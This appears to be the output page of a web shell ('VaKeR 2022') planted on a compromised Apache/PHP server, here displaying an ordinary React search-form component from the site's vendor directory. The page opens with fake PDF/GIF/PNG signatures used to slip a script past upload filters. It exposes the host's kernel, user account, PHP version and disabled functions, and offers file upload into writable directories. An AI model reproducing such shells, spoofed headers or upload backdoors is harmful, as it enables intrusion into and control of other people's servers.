%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/vendor/cakedc/mixer/src/React/components/SearchForm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/vendor/cakedc/mixer/src/React/components/SearchForm/SearchForm.js
import React, {Component} from 'react'
import { connect } from 'react-redux'
import queryString from 'query-string'
import { withRouter } from 'react-router'

class SearchForm extends Component {
    constructor(props) {
        super(props)
        this.state = {
            q: props.q,
        }

        this.submitHandler = this.submitHandler.bind(this)
        this.handleInput = this.handleInput.bind(this)
    }

    handleInput(event) {
        const target = event.target
        this.setState({
            [target.name]: target.value
        })
    }

    submitHandler(event) {
        event.preventDefault()
        // do some sort of verification here if you need to
        //this.props.push(`${this.state.where}/${this.state.q}`)
        //const { dispatch } = this.props
        this.props.dispatch(this.props.push(`${this.props.action}?q=${this.state.q}`))
    }

    render() {
        return (
            <form onSubmit={this.submitHandler} action={this.props.action} method="GET" id="search" acceptCharset="utf-8">
                <div className="input-group">
                    <input
                        type="text"
                        name="q"
                        placeholder="Search..."
                        className="input-lg form-control"
                        value={this.state.q}
                        onChange={this.handleInput} />
                    <span className="input-group-btn"><button className="btn-lg btn btn-primary" type="submit"><i className="fa fa-search" /></button></span>
                </div>
            </form>
        );
    }
}

function mapStateToProps(state, ownProps) {
    const { q } = queryString.parse(ownProps.location.search) || {
        q: ''
    }

    return { q }
}

export default withRouter(connect(mapStateToProps)(SearchForm))

VaKeR 2022